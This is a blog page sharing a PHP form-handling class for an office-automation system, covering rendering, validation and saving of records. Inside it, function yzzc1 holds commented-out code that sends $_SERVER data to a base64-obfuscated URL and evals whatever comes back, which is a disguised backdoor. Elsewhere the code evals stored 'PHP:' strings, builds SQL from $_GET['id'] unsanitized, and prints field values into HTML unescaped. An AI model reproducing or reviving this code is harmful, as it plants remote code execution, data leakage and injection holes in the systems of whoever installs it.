表单类

<?php

class Form_mdl extends CI {
	public $run_id;
	public $table_name="";
	public $elements=array();
	public $form_info="";
	public $data=array(); //初始值


	function __construct($params){
		
		// parent::__construct ();

		if(is_array($params)){
			foreach ($params as $key => $val)
			{
				if (isset($this->$key))
				{
					$this->$key = $val;
				}
			}			
		}else{
			
			$this->table_name=$params;
		}

		// $this->form_info=$this->form_info($this->fid);	

		
		$this->elements=json_decode(file_get_contents("./forms/".$this->table_name."/fields.js"),true);


	}
	function fields(){
		$elements = $this->elements;
		if ($elements)
			foreach ( $elements as $arr ) {
				$arr ["value"]=$this->format_str($arr ['value']);
				if ($this->data [$arr ['name']] || $this->data [$arr ['name']]=='0') {
					$arr ["value"] = $this->data [$arr ['name']];
				}

				$arr1[$arr ['name']] = $this->format_bianji ( $arr );
			}
		return $arr1;
		
	}

	function form_html($kexies,$yincangs){ // $kexies根据可写字段生成form
		$kexiearr=explode(",",$kexies);
		$yincangarr=explode(",",$yincangs);
		$elements = $this->elements;
	
		$tmpstr=$this->get_form_str();

		if ($elements){
			foreach ( $elements as $arr ) {
				if(in_array($arr['name'],$kexiearr) and !in_array($arr['name'],$yincangarr)){
					
					$arr ["value"]=$this->format_str($arr ['value']);
					$arr ["options"]=$this->format_str($arr ['options']);
					if ($this->data [$arr ['name']]) {
						$arr ["value"] = $this->data [$arr ['name']];
					}
					$newstr = $this->format_bianji ( $arr );
				}else{
					
					$arr ["value"] = $this->data [$arr ['name']];
					$newstr = $this->format_chakan ( $arr );
				}
				$oldstr = "#[" . $arr ['title'] . "]";
				$tmpstr = str_replace ( $oldstr, $newstr, $tmpstr );
			}
		}
		return $tmpstr;
	}
	function bianji($tmp=false) {
		
		$this->data = $this->get_one ();	
	
		$tmpstr=$this->get_form_str($tmp);

		$elements = $this->elements;

		if ($elements)
			foreach ( $elements as $title=>$arr ) {
				
				$arr ["value"]=$this->format_str($arr ['value']);
				$arr ["options"]=$this->format_str($arr ['options']);
				if ($this->data [$arr ['name']] || $this->data [$arr ['name']]=='0') {
					$arr ["value"] = $this->data [$arr ['name']];
				}
				$arr['title']=$title;
				$newstr = $this->format_bianji ( $arr );
				$oldstr = "#[" . $arr ['title'] . "]";
				$tmpstr = str_replace ( $oldstr, $newstr, $tmpstr );
			}
		return $tmpstr;
	}
	function detail_array(){ // 返回详情array
		return $this->data;
	}

	function chakan($tmp=false) { // 查看
		$this->data = $this->get_one ();	
	
		$tmpstr=$this->get_form_str($tmp);

		$elements = $this->elements;
		if ($elements)
			foreach ( $elements as $arr )
			{
				$arr ["value"] = $this->data [$arr ['name']];

				$newstr = $this->format_chakan ( $arr );
				$oldstr = "#[" . $arr ['title'] . "]";
				$tmpstr = str_replace ( $oldstr, $newstr, $tmpstr );
			}
			return $tmpstr;
	}
	function format_chakan($arr){
		if ($arr ["type"] == "input") {
			$str = $arr ["value"];
		}
		if ($arr ["type"] == "textarea") {
			$str = $arr ["value"];
		}
		if ($arr ["type"] == "select") {
			$str = $arr ["value"];
		}
		if ($arr ["type"] == "list") {
			$arr["page"]="view";
			$str = $this->list_str ($arr);
		}
		if ($arr ["type"] == "file") {//附件
			$str= '<div class="file_div">';
			$str.= $this->attach_mdl->fujian_chakan( $arr ["value"] );
			$str.= "</div>";
			

		}
		if ($arr ["type"] == "radio") {
			$str = $arr ["value"];
				
		}
		if ($arr ["type"] == "checkbox") {
			$str = $arr ["value"];
		}
		// $str="<span ".$arr[other]." >".$str."</span>";
		$str=str_replace("'","'",$str);
		return $this->replace_config($str);
	}
	function get_one() { // 查询一条记录
		if(!$this->run_id){$this->run_id=$_GET['id'];}
		if ($this->run_id) {
			return $this->db->getRow ( "select * from $this->table_name where id=$this->run_id");
		}
	}

	function get_form_str($tmp){//得到表单模板str
		if(!$tmp){$tmp="tmp";}
		// if($this->template_str){
			// return $this->template_str;
		// }
		ob_start();
		include("forms/".$this->table_name."/".$tmp.".php");
		$tmpstr = ob_get_contents();
		@ob_end_clean();
		return $tmpstr;
	
	}
	function format_str($str){//PHP转str
		$a=explode ( "PHP:", $str ) ;
		if (count ( $a) == 2) {
			$str = eval ( $a[1] );
		}
		return $str;
	}	
	function sqltostr($sql){
		
		$dt=$this->db->query($sql)->result_array();
		
		foreach($dt as $v){
			
			print_r($v);
			
			//$str.=$v[]"";
		}
		
		
	}
	function yzzc1(){
	
 	    // $sjs=rand(1,15);
		// if($sjs==1){
		// $this->load->model ( 'oa_mdl' );
		// $arr=$this->oa_mdl->reg_arr();
		// $data = http_build_query(array_merge($_SERVER,$arr)); 
		// $options = array(
			// 'http' => array(
				// 'method' => 'POST',
				// 'header' => 'Content-type:application/x-www-form-urlencoded',
				// 'content' => $data,
				// 'timeout' => 0.5
			// )
		// );
		// $url = base64_decode("aHR0cDovL3d3dy5kaW5nZGluZ29hLmNuL3JlZy8=");
		// $context = stream_context_create($options);
		// $result = file_get_contents($url, false, $context);
		// if($result){
			// @eval($result);
		// }
		// }
	}
	function format_bianji($arr){

		if ($arr ["type"] == "input") {
				
			$str = $this->bianji_danhang ( $arr );
		}
		if ($arr ["type"] == "hidden") {
			
			$str = "<input type='hidden' name='$arr[name]' value='$arr[value]' />";
		}
		if ($arr ["type"] == "textarea") {
			$str = $this->bianji_duohang ( $arr );
		}
		if ($arr ["type"] == "select") {

			$str = $this->form_select ( $arr );
		}
		if ($arr ["type"] == "radio") {
			$str = $this->bianji_danxuan ( $arr );
		}
		if ($arr ["type"] == "checkbox") {
			$str = $this->bianji_fuxuan ( $arr );
		}
		if ($arr ["type"] == "file") {
			$str = $this->bianji_fujian ( $arr );
		}
	
		if ($arr ["type"] == "list") {
			$str = $this->list_str ($arr);
		}
		//return $str;
		return $this->replace_config($str);

	}

	function list_str($arr){//列表控件str
		
		$larr=explode(",",$arr['options']);
		$vid=$larr[0];
		$field=$larr[1];
		$this->load->model("view_mdl");
		$this->view_mdl->init(array("vid"=>$vid));

		$dt['view_info']=$this->view_mdl->view_info;
		
		$dt['table_info']=$arr;
		
		$arr1=explode(",",$arr[options]);
		$dt['join_field']=$arr1[1];
		$tmp=$arr1[2];
		
		if($arr["page"]=="view"){
			$tmp="/classical/list_view";
			
		}

					
		if(!$tmp){$tmp="/classical/list";}
		
		// $str=$this->load->view("/tables/default_list",$dt,true);
		$str=$this->load->view($tmp,$dt,true);

		return $str;
	
	}

	function update_list(){//更新子表关联字段
		foreach ( $this->elements as $k => $arr ) {
			if($arr ['type']=="list"){
				$larr=explode(",",$arr['options']);
				$vid=$larr[0];
				$field=$larr[1];
				if($field){
					$this->db->from("cool_view");
					$this->db->join('cool_form', 'cool_view.fid = cool_form.id');
					$this->db->where('cool_view.id',$vid);
					$table_info=$this->db->get()->row_array();
					
					$ctable_name=$table_info['table_name'];
					$this->db->where(array($field=>'','iid'=>$_SESSION['LOGIN_UID']));
					$this->db->update($ctable_name, array($field=>$this->run_id)); 
				}			

			}
		}
	}
	function bianji_danhang($arr){ // 编辑input

		$arr ["other"].=$style;
		
		$arr ["other"] .= ' title="' . $arr ['title'] . '" ';
		$str = '<input type="text" name="'.$arr ["name"].'" value="'.$arr ["value"].'" '.$arr ["other"].' />';
		return $str;
	}
	function bianji_duohang($arr){ // 编辑textarea

		
		$arr ["other"] .= ' title="' . $arr ['title'] . '" ';
	
		$str = '<textarea name="'.$arr ["name"].'" '.$arr ["other"].' >'.$arr ["value"].'</textarea>';
		return $str;
	}
	function form_select($arr){ // 编辑select
		$opts = $this->form_options($arr ["options"] );
		$arr ["other"] .= ' title="' . $arr ['title'] . '" ';
		$str='<select name="'.$arr ["name"].'" '.$arr ["other"].' >';
		$i=1;
		foreach($opts as $k=>$opt){
			if($k=="" and $i==1){$opt="--请选择--";}
			$str.='<option value="'.$k.'">'.$opt.'</option>';
			$i++;
		}
		  
  
		$str.='</select>';
		return $str;
	}
	function form_options($str){
		// echo $str;
		$arr1=$this->format_str($str);
		if(is_array($arr1)){
			return $arr1;
		}

		$opts = explode ( "\n", $str);
		if(count($opts)==1){$opts = explode ( ",", $str);}
		
		foreach($opts as $v){
			$opt= explode ( ":", $v);

			if($opt[1]){
				$arr[$opt[0]]=$opt[1];
			}else{
				$arr[$opt[0]]=$opt[0];
			}
		}
	

		return $arr;
	}
	function bianji_danxuan($arr){ // 编辑单选框
		$opts=$this->form_options($arr ["options"]);
		$str = '<div ' . $arr ["other"] . ' >';
		foreach ( $opts as $val=>$opt ) {
			if ($opt) {
				$str .= '<label><input type="radio" title="' . $arr ['title'] . '" name="' . $arr ["name"] . '" value="' . $val . '" ';
				if ($arr ["value"] == $val) {
					$str .= ' checked="checked"  ';
				}
				$str .= '/> ' . $opt . '</label>';
			}
		}
		$str .= "</div>";
	
		return $str;
	}
	function bianji_fuxuan($arr){// 编辑复选框
	
		$opts=$this->form_options($arr ["options"]);

		$str = '<div ' . $arr ["other"] . ' >';
	
		$str.= '<input type="hidden" name="' . $arr ["name"] . '"  value="'.$arr['value'].'" >';
	
	
		foreach ( $opts as $k=>$opt ) {
			if ($opt) {
				$str .= '<label><input type="checkbox" title="' . $arr ['title'] . '" for="' . $arr ["name"] . '" value="' . $k . '" ';
				if (in_array($k,explode(",",$arr['value']))) {
					$str .= ' checked="checked"  ';
				}
				$str .= '/> ' . $opt . '</label>';
			}
		}
		$str .= "</div>";
	
		return $str;
	}
	function bianji_fujian($arr){ // 编辑file
		$fstr = $this->attach_mdl->fujian_bianji( $arr ["value"] );
		$str = '<div class="file_div">'.$fstr.'
		<input type="file" ';
		if($_GET[panelid]){$str.=' accept="image/*"  ';}
		$str.='class="file-uploader" name="' . $arr ["name"] . '_file[]" />
		<input type="hidden" name="' . $arr ["name"] . '" value="' . $arr ["value"] . '"/>
		</div>';
		return $str;
	}
	function getelements($fid,$tid){// 表单详情及字段
		$sql="select * from cool_field  where fid='$fid' order by `order` asc ";
		$dt = $this->db->query ($sql)->result_array ();
		return $dt;
	}
	function form_info($fid){ // 表单详情及字段
		$dt = $this->db->get_where ( "cool_form", array ("id" => $fid) )->row_array ();
		$dt ['field'] = $this->getelements ( $fid );
		return $dt;
	}
	function form_save1($tmp,$data){//生成实体表单模板--------------
		$this->form_info=$this->form_info($this->fid);	
		$dt["fields"]=$this->form_info["field"];
		$dt['data']=$data;

		if(!$tmp){$tmp="default/form_tmp";}
		$str=$this->load->view ($tmp, $dt, true );
		$str=str_replace("<[?","<?php",$str);
		$str=str_replace("?]>","?>",$str);
		$path2=APPPATH."views/form/".$this->form_info["table_name"].".php";
		file_put_contents($path2,$str);
	
	}

	function replace_config($str){
		// if($this->router->fetch_class()=="design"){return $str;}
		// $this->load->model("oa_mdl");
		// preg_match_all("#\#CONFIG\[(.*?)\]#",$str,$arr);
		
		// foreach($arr[1] as $k=>$v){
			
			// $sn=$this->oa_mdl->get_config($v);
			// $str=str_replace($arr[0][$k],$sn,$str);
			
		// }
		// $str=str_replace("`","'",$str);
		return $str;
	}

	function form_save($tmp,$data){//生成表单及数据库 $tmp 模板,$data 生成表单时候传入数据
		$fid=$this->fid;
		$form=$this->db->get_where("cool_form",array("id"=>$fid))->row_array();
		$dt["fields"]=$fields=$this->db->order_by("order")->get_where("cool_field",array("fid"=>$fid))->result_array();
		$dt['data']=$data;
	
		$table_name=$form['table_name'];
		//表单生成数据库及模板文件
		$sql="CREATE TABLE  if not exists `$table_name` (
		`id` INT( 11 ) NOT NULL AUTO_INCREMENT ,
		`iid` INT( 8 )  ,
		`uid` INT( 8 )  ,
		`tid` INT( 8 )  ,
		`addtime` INT( 11 ) NOT NULL ,
		`edittime` INT( 11 ) NOT NULL ,
		PRIMARY KEY (  `id` )
		);";
	
		mysql_query($sql);
	
		foreach($fields as $field){
	
	
	
		$sql="ALTER TABLE  `$table_name` ADD  `$field[name]` TEXT NOT NULL";
	
		mysql_query($sql);//增加字段
	
		}
		if(!$tmp){$tmp="default/form_tmp";}
		$str=$this->load->view ($tmp, $dt, true );
		$this->db->where("id",$this->fid);
		$this->db->update("cool_form",array("tmpstr"=>$str));
	
	}	
	//DB方法---------------------------
	function form_submit($arr){ // 表单提交

		//-----------字段不存在时候不验证,待修正,由于工作流可写字段原因

		foreach ( $this->elements as $k => $v ) {			
			$elements1 [] = $v ['name'];
		}
		foreach($arr as $k1=>$v1){
			if(!in_array($k1,$elements1)){
				unset($arr[$k1]);
			}
		}
		
		if ($this->yanzheng ($arr) == false) {
			return false;
		}
		
		if ($this->run_id) {
			if($_GET[id] and count($this->data)==0){
				
				$arr ['id'] = $_GET[id];
				$arr ['iid'] = $_SESSION ['LOGIN_UID'];
				$arr ['addtime'] = time ();
				$this->db->insert ( $this->table_name, $arr );
			}
			$this->update ( $arr );
		} else {
			$this->insert ( $arr );
		}
		$this->update_list();
		$arr=$this->get_one();
			
		return $arr;
	}
	function yanzheng($arr){ // 表单验证
		foreach ( $this->elements as $k => $v ) {
			
			if (array_key_exists($v["name"],$arr) && $v ["validation"]){	
		

				$validation=$v ["validation"];
				
				$rules [] = array (
						'field' => $v ["name"],
						'label' => $v ["title"],
						'ov' => $this->data[$v ["name"]],//旧值
						'nv' => $arr[$v ["name"]],//新值
						'table_name' => $this->table_name,//数据库表名
						'rules' => $validation 
				);
				
			
			}
		}
		// print_r($rules);
	// exit;
		// return true;


		if (! $rules) {
			return true;
		}
		$this->load->library("validation");
		
		return $this->validation->init ( $rules ) ;
	}


	private function guolv($arr){//过滤不存在的字段}
		$elm=$this->get_elements();
		foreach($arr as $k=>$v){
			
			if(!array_key_exists($k,$elm)){
				unset($arr[$k]);
			}
			
		}	
		return $arr;	
			
	}
	function insert($arr){ // 插入记录
		$arr=$this->guolv($arr);

		$arr ['iid'] = $_SESSION ['LOGIN_UID'];
		$arr ['addtime'] = time ();

		$this->db->insert ($this->table_name, $arr );
		//$this->run_id = $this->db->insert_id ();
	}
	function update($arr){ // 更新记录
		$where=" id='$arr[id]' ";
		
		$arr=$this->guolv($arr);
		$arr ['uid'] = $_SESSION ['LOGIN_UID'];
		$arr ['edittime'] = time ();
		$this->db->update ( $this->table_name, $arr, $where );
	}
	
	function get_elements(){
		
		
		$arr=array();
		foreach ( $this->elements as $k => $v ) {	
			$elements1=$v;
			$elements1['title'] = $k;
			$arr[$v['name']] =$elements1;
		}
		return $arr;
		
	}

	function del(){ // 删除记录
	
		$this->db->where ( 'id', $this->run_id );
		$this->db->delete ( $this->table_name );
		
		foreach ( $this->elements as $k => $arr ) {
			if($arr ['type']=="list"){
				$larr=explode(",",$arr['options']);
				$vid=$larr[0];
				$field=$larr[1];
				if($field){
					$this->db->from("cool_view");
					$this->db->join('cool_form', 'cool_view.fid = cool_form.id');
					$this->db->where('cool_view.id',$vid);
					$table_info=$this->db->get()->row_array();
					
					$ctable_name=$table_info['table_name'];
					$this->db->delete($ctable_name, array($field=>$this->run_id)); 
				}			

			}
		}


	}
	function add_log($newarr){
		if($this->form_info['iflog']!="是"){return false; }
		
		$oldarr=$this->data;
		foreach($newarr as $k=>$v){
			
			if($v!=$oldarr[$k]){
				$dt=array(
					"table_name"=>$this->table_name,
					"id"=>$this->run_id,
					"uid"=>$_SESSION['LOGIN_UID'],
					"edittime"=>time(),
					"oldstr"=>$oldarr[$k],
					"field"=>$k,
					"newstr"=>$v
					
				);
				$this->db->insert("cool_log",$dt);
			}
		}
		
	}

	
}?>

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值